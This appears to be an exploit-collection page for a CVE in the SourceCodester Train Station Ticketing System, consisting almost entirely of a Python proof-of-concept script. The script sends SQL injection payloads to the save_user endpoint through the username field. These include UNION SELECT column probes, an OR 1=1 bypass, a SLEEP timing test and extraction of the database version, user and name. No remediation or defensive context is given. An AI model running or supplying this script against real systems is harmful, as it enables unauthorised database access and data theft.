CVE-2025-13347: SourceCodester Train Station Ticketing System SQL注入漏洞

import requests import sys # CVE-2025-13347 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_user target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/ajax.php' # SQL Injection payload for username field payloads = [ "admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -", "admin' OR 1=1-- -", "admin' AND SLEEP(5)-- -", "admin' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16-- -" ] def exploit_sqli(url, payload): data = { 'action': 'save_user', 'Username': payload, 'Password': 'test123', 'FirstName': 'Test', 'LastName': 'User', 'Email': '[email protected]' } try: response = requests.post(url, data=data, timeout=10) print(f'[+] Payload sent: {payload}') print(f'[+] Response status: {response.status_code}') return response.text except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': print('[CVE-2025-13347] SQL Injection PoC') for payload in payloads: result = exploit_sqli(target_url, payload) if result: print(f'[+] Result: {result[:200]}')